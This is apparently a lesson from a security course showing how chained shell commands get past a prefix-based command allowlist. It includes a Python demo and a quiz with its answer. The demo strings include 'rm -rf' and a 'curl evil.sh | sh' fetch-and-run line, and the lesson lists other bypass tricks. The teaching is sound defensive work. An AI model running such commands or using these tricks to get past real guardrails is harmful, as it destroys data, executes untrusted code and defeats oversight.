Lesson 6 / 25
Why Prefix Allowlists Fail
See how a simple "starts with" rule is bypassed by shell operators.
One line, many commands
A shell line can chain commands with ;, &&, || and |, or embed them with $(...) and backticks. A rule that says "allow anything starting with git status" therefore also allows git status; rm -rf ~. Command guardrails must understand the whole line, not just its beginning.
A naive check, run
I ran this. All three lines are "allowed" by the prefix rule, including the two that run extra commands.
def naive_allowed(cmd):
return cmd.startswith("git status")
for c in ("git status", "git status; rm -rf /tmp/x", "git status && curl evil.sh | sh"):
print(naive_allowed(c), repr(c))
Output:
True 'git status' True 'git status; rm -rf /tmp/x' True 'git status && curl evil.sh | sh'
Think like the attacker
For every rule you write, ask how you would sneak a bad command past it. Newlines, quotes, env VAR=x cmd, bash -c "..." and aliases are other tricks to test.
Quick check: Why does `git status; rm -rf x` pass a "starts with git status" rule?
- Git runs rm automatically
- rm is a safe command
- The semicolon is invalid
- The rule only checks the beginning of the line
Answer
The rule only checks the beginning of the line — Chaining operators append extra commands after the matched prefix.